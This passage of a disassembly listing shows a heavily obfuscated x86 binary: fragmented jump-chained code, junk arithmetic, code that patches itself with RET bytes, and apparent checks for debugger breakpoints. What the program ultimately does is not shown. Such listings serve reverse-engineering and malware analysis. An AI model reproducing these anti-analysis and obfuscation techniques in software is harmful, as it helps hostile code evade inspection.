sub_43B9F3+A819j jmp sub_44E242 ; END OF FUNCTION CHUNK FOR sub_43B9F3 ; =============== S U B R O U T I N E ======================================= sub_444DB4 proc near ; CODE XREF: y22d6.y.:004463AEj ; sub_43D20E:loc_447165p ; FUNCTION CHUNK AT 004460B4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044DCAD SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] mov eax, [eax+18h] dec eax jmp loc_4460B4 sub_444DB4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pushf jmp sub_439407 ; --------------------------------------------------------------------------- loc_444DD3: ; DATA XREF: sub_44B674:loc_449CD3o sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_44E352 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_444DE2: ; CODE XREF: sub_43D20E+F20Dj jmp nullsub_207 ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- loc_444DE7: ; DATA XREF: sub_44BAC8:loc_449323o lea eax, loc_4383D5 mov byte ptr [eax], 0C3h jmp loc_4383D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_444DF5: ; CODE XREF: sub_43EC01:loc_44814Bj mov eax, [esp+0] push edx loc_444DF9: ; CODE XREF: y22d6.y.:loc_437B6Ej call sub_44B267 push 0BDA4B80Eh pop eax jmp loc_449EC0 ; END OF FUNCTION CHUNK FOR sub_43EC01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_444E09: ; CODE XREF: sub_44BCC2-13CCEj and ebp, 68520AD1h jmp loc_43EA3B ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; =============== S U B R O U T I N E ======================================= sub_444E14 proc near ; CODE XREF: sub_44C980-4C35p ; y22d6.y.:00448205j ; FUNCTION CHUNK AT 0043A0B4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043D33F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DEBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440071 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445C7A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00449D4A SIZE 00000013 BYTES xchg edx, [esp+0] pop edx call sub_43CA1A push ecx push 6A4DE8A7h loc_444E23: ; CODE XREF: sub_44D2B1+Bj pop ecx and ecx, 6AB74F26h or ecx, 0A1B8D0A4h jmp loc_43DEBE sub_444E14 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub eax, 0F1039B8h jmp loc_4421D2 ; --------------------------------------------------------------------------- push 4F5540A4h jmp sub_43D11C ; --------------------------------------------------------------------------- push 404A7C04h jmp sub_4422BA ; --------------------------------------------------------------------------- mov [ebp+0], esi jmp sub_440E55 ; --------------------------------------------------------------------------- not edi jmp loc_439C93 ; --------------------------------------------------------------------------- loc_444E63: ; CODE XREF: y22d6.y.:0043E984j jle loc_447F7A adc esi, 9B7636D8h loc_444E6F: ; CODE XREF: y22d6.y.:loc_43E969j xor eax, 1C09DFA8h or eax, 0B37A194Bh test eax, 1000000h jmp loc_44380F ; --------------------------------------------------------------------------- mov ds:off_41E114, eax lea eax, loc_443CF1 mov byte ptr [eax], 0C3h jmp loc_4432DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E139 loc_444E9A: ; CODE XREF: sub_43E139:loc_443CF1j pop edx mov eax, [esp+0] push edx call sub_438F17 jmp loc_43DCE0 ; END OF FUNCTION CHUNK FOR sub_43E139 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_444EA9: ; CODE XREF: sub_43B09B+134F0j mov esi, ecx test eax, 9C2EC367h jmp loc_43B336 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- loc_444EB6: ; CODE XREF: y22d6.y.:00444C34j xor ebp, esi cdq jmp loc_43F015 ; --------------------------------------------------------------------------- loc_444EBE: ; DATA XREF: sub_43991F:loc_44856Co or edx, edx jnz loc_43D646 jmp loc_43702A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_444ECB: ; CODE XREF: sub_44B674-1314Bj mov ecx, eax loc_444ECD: ; CODE XREF: sub_44B674:loc_43E216j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_439B4D jmp loc_437BB8 ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_444EDE: ; CODE XREF: sub_44057E:loc_43E964j sbb esi, 0F118CFA7h jmp loc_447C85 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- loc_444EE9: ; CODE XREF: y22d6.y.:loc_44B6BAj sub edi, 1AAFDE22h loc_444EEF: ; CODE XREF: y22d6.y.:loc_441BFEj or edi, 49BF50E7h and edi, 50D7BEA9h test edi, 2000000h jmp loc_43A673 ; --------------------------------------------------------------------------- loc_444F06: ; CODE XREF: y22d6.y.:loc_44042Dj mov dword ptr [ebp-0FCh], 6F6C2074h push offset sub_44A39E jmp loc_440C5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441619 loc_444F1A: ; CODE XREF: sub_441619+11j rol edx, 4 add edx, 85A5CC57h mov [edx], eax pop edx jmp loc_44AECC ; END OF FUNCTION CHUNK FOR sub_441619 ; =============== S U B R O U T I N E ======================================= sub_444F2B proc near ; CODE XREF: y22d6.y.:0043F410j ; sub_449641+1E7Bp ; FUNCTION CHUNK AT 0044D36C SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov byte ptr [eax], 0C3h jmp loc_44D36C sub_444F2B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_444F37 proc near ; CODE XREF: sub_4049E1+2DAp ; y22d6.y.:0044B5DFj ; DATA XREF: ... ; FUNCTION CHUNK AT 00438669 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439B15 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A0F4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043C381 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044312F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004445E6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00444D5A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00446375 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044BB66 SIZE 0000000B BYTES push eax push 6C52C124h pop eax and eax, 830D43F2h loc_444F44: ; CODE XREF: sub_4491D8+4CD3j sub eax, 809B5BAh jmp loc_438669 sub_444F37 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_353. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E0A9 loc_444F50: ; CODE XREF: sub_43E0A9+D973j jmp loc_443C4E ; END OF FUNCTION CHUNK FOR sub_43E0A9 ; --------------------------------------------------------------------------- loc_444F55: ; CODE XREF: y22d6.y.:0043DB83j jmp loc_43EFC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AF5B loc_444F5A: ; CODE XREF: sub_43AF5B+1EA8j jmp loc_44397C ; END OF FUNCTION CHUNK FOR sub_43AF5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4382FE loc_444F5F: ; CODE XREF: sub_4382FE+16j jmp loc_43FFF9 ; END OF FUNCTION CHUNK FOR sub_4382FE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_444F65: ; CODE XREF: sub_441F08+9059j jmp loc_44C84E ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_444F6A: ; CODE XREF: sub_448EB6-894Ej jmp loc_44CF01 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C758 loc_444F6F: ; CODE XREF: sub_44C758-F146j jmp loc_445BDB ; END OF FUNCTION CHUNK FOR sub_44C758 ; =============== S U B R O U T I N E ======================================= sub_444F74 proc near ; DATA XREF: y22d6.y.:0043D50Fo arg_0 = dword ptr 4 popf xchg ecx, [esp-4+arg_0] jmp sub_448E18 sub_444F74 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4419CC loc_444F7D: ; CODE XREF: sub_4419CC:loc_44C8A3j lea eax, sub_4419CC mov byte ptr [eax], 0C3h jmp sub_4419CC ; END OF FUNCTION CHUNK FOR sub_4419CC ; =============== S U B R O U T I N E ======================================= sub_444F8B proc near ; DATA XREF: .data:off_425E8Co var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00445F82 SIZE 00000005 BYTES push edx push 5A4AD775h pop edx rol edx, 1Dh add edx, 54FAC802h xchg edx, [esp+4+var_4] jmp loc_445F82 sub_444F8B endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_444FA4: ; CODE XREF: y22d6.y.:004419F8j jmp loc_44952A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AB31 loc_444FA9: ; CODE XREF: sub_43AB31+10D25j shl [ebp+var_8], 8 ; END OF FUNCTION CHUNK FOR sub_43AB31 ; START OF FUNCTION CHUNK FOR sub_43F422 loc_444FAD: ; CODE XREF: sub_4375F1+9j ; sub_43F422:loc_438FF6j jnb loc_44C5FF mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_4472C3 mov eax, [ebp-8] jmp loc_4382C9 ; END OF FUNCTION CHUNK FOR sub_43F422 ; --------------------------------------------------------------------------- loc_444FC7: ; CODE XREF: y22d6.y.:00442F63j jnz loc_440677 ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_444FCD: ; CODE XREF: sub_4432B8+1032j jmp nullsub_74 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- cmp edx, eax jmp loc_43D03E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_444FD9: ; CODE XREF: sub_43B09B+4673j jle loc_438E1B loc_444FDF: ; CODE XREF: sub_448EB6+405Fj and eax, 394D4032h xor eax, 1E388A42h call sub_43CA1A mov ds:dword_41E0C4, eax lea eax, nullsub_17 jmp loc_438EDF ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- jl nullsub_68 jmp sub_43A58D ; --------------------------------------------------------------------------- loc_44500C: ; CODE XREF: y22d6.y.:00441E3Aj not ebp ; =============== S U B R O U T I N E ======================================= sub_44500E proc near ; CODE XREF: y22d6.y.:0043A6BBp arg_4 = dword ptr 8 xchg ebx, [esp+0] pop ebx pop edx mov eax, [esp-8+arg_4] sub_44500E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_445016: ; CODE XREF: sub_4432B8:loc_449501j push edx push offset sub_44B120 jmp nullsub_250 ; --------------------------------------------------------------------------- loc_445021: ; CODE XREF: sub_4432B8:loc_446E27j add eax, 0D89EC734h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_447EBF jmp loc_445295 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_445037: ; CODE XREF: y22d6.y.:00445E1Cj xchg eax, [ebp+0] sbb ecx, 0BAC03ADFh mov edx, 47172613h jmp loc_444BD3 ; --------------------------------------------------------------------------- test ebx, 8588998Ah jmp loc_43B5D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_445055: ; CODE XREF: sub_44057E+40FBj cmp edi, esi jmp loc_43EE3B ; END OF FUNCTION CHUNK FOR sub_44057E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C4FF loc_44505D: ; CODE XREF: sub_44C4FF+18j jmp loc_43ACD6 ; END OF FUNCTION CHUNK FOR sub_44C4FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_445062: ; CODE XREF: sub_448EB6-7C00j jmp sub_44CDB7 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CFF2 loc_445067: ; CODE XREF: sub_43CFF2-352Dj jmp loc_44465E ; END OF FUNCTION CHUNK FOR sub_43CFF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_44506C: ; CODE XREF: sub_43BEF7-1FA8j ; y22d6.y.:0043A92Cj ... push offset loc_4471CA jmp loc_444C77 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E242 loc_445076: ; CODE XREF: sub_44E242:loc_44B94Aj pop edi mov eax, [esp+4+var_4] call sub_43B9F3 ; END OF FUNCTION CHUNK FOR sub_44E242 ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44507F: ; CODE XREF: sub_44BCC2:loc_44C043j pushf ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; START OF FUNCTION CHUNK FOR sub_439051 loc_445080: ; CODE XREF: sub_439051:loc_43D6D6j push 0B21EB285h pop esi and esi, 582C91ACh add esi, 0A8043789h popf jmp loc_43D8A5 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B201 loc_445098: ; CODE XREF: sub_43B201+AE2Aj add eax, ebx pop ebx mov [ebp-4], eax push 0DD856CDDh xchg edx, [esp+0] mov eax, edx jmp loc_43EF96 ; END OF FUNCTION CHUNK FOR sub_43B201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_4450AD: ; CODE XREF: sub_44C59C:loc_43F957j push edx push edx push offset loc_43DB71 jmp loc_449ACB ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_4450B9: ; CODE XREF: sub_43BCA9+6j pop edx mov eax, [esp+0] push eax mov eax, edx xchg eax, [esp+4+var_4] push ebp mov ebp, ecx xchg ebp, [esp+0] jmp loc_43DB9E ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4450CE: ; CODE XREF: sub_4432B8-7E6Aj sub eax, edi xchg edi, [ebx] jmp loc_449F56 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_4450D7: ; CODE XREF: sub_44DB81-15A9Cj push offset sub_44A620 jmp loc_437A1C ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- jmp ds:off_41E0F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_4450E7: ; CODE XREF: sub_4475B3-337Bj jmp loc_440711 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43946E loc_4450EC: ; CODE XREF: sub_44AC61:loc_4377D1j ; sub_44C921-C892j ... xchg esi, [esp+0] mov edx, esi pop esi jmp loc_439FB7 ; END OF FUNCTION CHUNK FOR sub_43946E ; --------------------------------------------------------------------------- loc_4450F7: ; CODE XREF: y22d6.y.:0044BE0Fj ja loc_4418A7 ; =============== S U B R O U T I N E ======================================= sub_4450FD proc near ; CODE XREF: sub_44CB3F-15860p ; FUNCTION CHUNK AT 00437DA4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00438A7C SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043930A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004397DE SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0043A12F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A702 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043E23C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043E8B9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043EF56 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440959 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00440EC1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044205D SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00442D60 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044591F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00445CEC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044616B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446E58 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044745A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044A590 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AFC9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044BB50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C0B2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C0C3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044C679 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044DB11 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044DBA2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DCFF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044DEEB SIZE 00000011 BYTES xchg edi, [esp+0] pop edi jz loc_447463 push ebp mov eax, [ebp-20h] jmp loc_44A590 sub_4450FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_445110: ; CODE XREF: y22d6.y.:00438326j jns loc_44DBC7 and edi, 2BF04BF5h ; =============== S U B R O U T I N E ======================================= sub_44511C proc near ; CODE XREF: y22d6.y.:0043F47Dp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043CF0A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00449632 SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx push esi loc_445121: ; CODE XREF: y22d6.y.:00441904j push 1BFFA6B7h xchg ebp, [esp+0] mov esi, ebp jmp loc_43CF0A sub_44511C endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_445130: ; CODE XREF: y22d6.y.:loc_43B0C5j retn ; --------------------------------------------------------------------------- jmp loc_43A548 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_445136: ; CODE XREF: sub_441F08+Ej jnz loc_445C36 jmp loc_4463BD ; END OF FUNCTION CHUNK FOR sub_441F08 ; =============== S U B R O U T I N E ======================================= sub_445141 proc near ; CODE XREF: y22d6.y.:00447F59p ; y22d6.y.:0044A032j ; FUNCTION CHUNK AT 0043F12A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448014 SIZE 00000015 BYTES xchg esi, [esp+0] pop esi push 235F12Fh pop esi add esi, 0CED59E27h jmp loc_43F12A sub_445141 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_445156: ; CODE XREF: y22d6.y.:loc_43EF9Bj jz loc_43A83D jmp loc_44A387 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_250. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B35D loc_445162: ; CODE XREF: sub_44B35D+9j jmp locret_449011 ; END OF FUNCTION CHUNK FOR sub_44B35D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E15A loc_445167: ; CODE XREF: sub_43E15A+45E8j jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_43E15A ; --------------------------------------------------------------------------- loc_44516C: ; CODE XREF: y22d6.y.:00440D66j jmp loc_443FB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449A8B loc_445171: ; CODE XREF: sub_449A8B:loc_4389E3j call sub_444581 mov ds:off_41E20C, eax lea eax, sub_4384B4 mov byte ptr [eax], 0C3h loc_445185: ; CODE XREF: y22d6.y.:0044C746j jmp sub_4384B4 ; END OF FUNCTION CHUNK FOR sub_449A8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4030E2 loc_44518A: ; CODE XREF: sub_4030E2+Dj ; sub_4030E2:loc_43CA52j ; DATA XREF: ... call sub_43CA62 ; --------------------------------------------------------------------------- jmp loc_44C47C ; END OF FUNCTION CHUNK FOR sub_4030E2 ; =============== S U B R O U T I N E ======================================= sub_445194 proc near ; DATA XREF: sub_449307+7o xchg ebp, [esp+0] mov edx, eax call sub_44D088 jmp sub_44798E sub_445194 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44243B loc_4451A3: ; CODE XREF: sub_44243B+4j push offset loc_44A13C jmp nullsub_75 ; END OF FUNCTION CHUNK FOR sub_44243B ; --------------------------------------------------------------------------- loc_4451AD: ; CODE XREF: y22d6.y.:0044006Bj mov ebp, esi xchg ecx, [esp] pop ecx mov eax, [esp] push edx call sub_43A1FA ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4451BC: ; CODE XREF: sub_448EB6+28F5j jl loc_43D587 loc_4451C2: ; CODE XREF: y22d6.y.:0043A838j jmp sub_449442 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E51C loc_4451C7: ; CODE XREF: sub_44E51C-14206j jmp sub_4480DE ; END OF FUNCTION CHUNK FOR sub_44E51C ; --------------------------------------------------------------------------- push 73119995h add esi, eax jmp loc_443A49 ; --------------------------------------------------------------------------- jmp ds:dword_41E070 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449AA9 loc_4451DE: ; CODE XREF: sub_449AA9+Ej jmp loc_449213 ; END OF FUNCTION CHUNK FOR sub_449AA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_4451E3: ; CODE XREF: sub_43F501-3D0Aj jmp loc_43D6A9 ; END OF FUNCTION CHUNK FOR sub_43F501 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor al, 24h mov edx, esi pop esi jz loc_44A372 mov eax, [esp] push eax mov eax, ebx jmp loc_43F10D ; --------------------------------------------------------------------------- push offset loc_44871C jmp loc_44B87E ; --------------------------------------------------------------------------- loc_445209: ; CODE XREF: y22d6.y.:0043F010j jg sub_43EFB1 not ecx jmp loc_44DD85 ; --------------------------------------------------------------------------- loc_445216: ; CODE XREF: y22d6.y.:0044077Cj pop ecx or ecx, 7E07B5BEh xor ecx, 99FC056h add ecx, 1C9EF3A8h or ecx, 0D4501759h add ecx, 2BCC7952h xchg ecx, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_44523D: ; CODE XREF: sub_44BBBA:loc_445DA7j sub edx, 69FA232Ah and edx, 410A2DE7h add edx, 0D4FCB1A4h ; END OF FUNCTION CHUNK FOR sub_44BBBA ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44524F: ; CODE XREF: sub_448EB6:loc_44904Ej call sub_44370B loc_445254: ; CODE XREF: sub_43BA9E+9848j jmp loc_449BF3 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D460 loc_445259: ; CODE XREF: sub_44D460-BDB9j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_44D460 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_44525E: ; CODE XREF: sub_43C6D7-F27j jz loc_44A7DE jmp loc_438DD5 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447940 loc_445269: ; CODE XREF: sub_447940+19Ej mov edx, eax pop eax sub edx, 0E9404E5Ah rol edx, 17h add edx, 409365F8h cmp edx, 1D9EAA80h loc_445281: ; CODE XREF: sub_44439D+82E9j jmp loc_44E2D8 ; END OF FUNCTION CHUNK FOR sub_447940 ; =============== S U B R O U T I N E ======================================= sub_445286 proc near ; DATA XREF: sub_4432B8-20EAo mov ds:dword_441950, eax sub_445286 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_444183 loc_44528B: ; CODE XREF: y22d6.y.:0044417Ej ; y22d6.y.:loc_446E0Aj ... call sub_4392B0 loc_445290: ; CODE XREF: y22d6.y.:004487F7j jmp loc_4483A9 ; END OF FUNCTION CHUNK FOR sub_444183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_445295: ; CODE XREF: sub_4432B8+1D7Aj jmp loc_4484EA ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_44529A proc near ; DATA XREF: y22d6.y.:00437DF9o ; FUNCTION CHUNK AT 0043E949 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F13D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044010E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00440596 SIZE 00000011 BYTES xchg eax, [esp+0] mov ecx, eax pop eax xor ecx, 0EA762526h add ecx, 0DD7016E6h cmp ecx, 17099300h jmp loc_43F13D sub_44529A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4452B7: ; CODE XREF: sub_44E5C7-15C90j ; sub_4432B8+147Ej jnp loc_4463C9 loc_4452BD: ; CODE XREF: sub_43ED4E:loc_44B8C9j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_43BE5E jmp loc_4399DA ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BA9E loc_4452CE: ; CODE XREF: sub_43BA9E-1FB5j sbb ecx, 0A8FEED80h pushf add edx, ecx adc eax, 0CD8E4183h loc_4452DD: ; CODE XREF: sub_43BA9E:loc_438161j push 0C4B74A99h pop eax rol eax, 15h jmp loc_445254 ; END OF FUNCTION CHUNK FOR sub_43BA9E ; --------------------------------------------------------------------------- loc_4452EB: ; CODE XREF: y22d6.y.:00438CC3j ror ebx, 11h ; =============== S U B R O U T I N E ======================================= sub_4452EE proc near ; CODE XREF: sub_43C55B+10C21p ; FUNCTION CHUNK AT 00438DE1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439A05 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00439C77 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043B81D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E4E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EFA0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044762A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004491C9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044B32A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044C074 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DD0C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044DE93 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx loc_4452F2: ; CODE XREF: y22d6.y.:0043E1CFj mov edx, [ebp-4] imul byte ptr [edx] jmp loc_44C074 sub_4452EE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AB31 loc_4452FC: ; CODE XREF: sub_43AB31+Fj xor eax, eax mov [ebp+var_8], eax loc_445301: ; CODE XREF: sub_43AB31-352Cj jno loc_44B844 push offset sub_43F422 jmp loc_4435CC ; END OF FUNCTION CHUNK FOR sub_43AB31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_445311: ; CODE XREF: sub_43B7B5+116F3j jno loc_44E170 jmp loc_4425EF ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44123E loc_44531C: ; CODE XREF: sub_44123E:loc_4465A5j or esi, 0AD48F68h and eax, edi jmp loc_448BB7 ; END OF FUNCTION CHUNK FOR sub_44123E ; --------------------------------------------------------------------------- loc_445329: ; DATA XREF: sub_44439D+453Fo push 76CEE27Ah xor esi, edx jmp loc_437539 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_445335: ; CODE XREF: sub_43B7B5+AAFEj ja loc_44C93D loc_44533B: ; CODE XREF: sub_43B7B5:loc_440ADEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_443C34 jmp loc_44254E ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44534C: ; CODE XREF: sub_448EB6:loc_43AE07j ja loc_44C9E6 xor ebp, esi rol esi, 19h jbe loc_4379C1 jmp loc_44B048 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_445362 proc near ; DATA 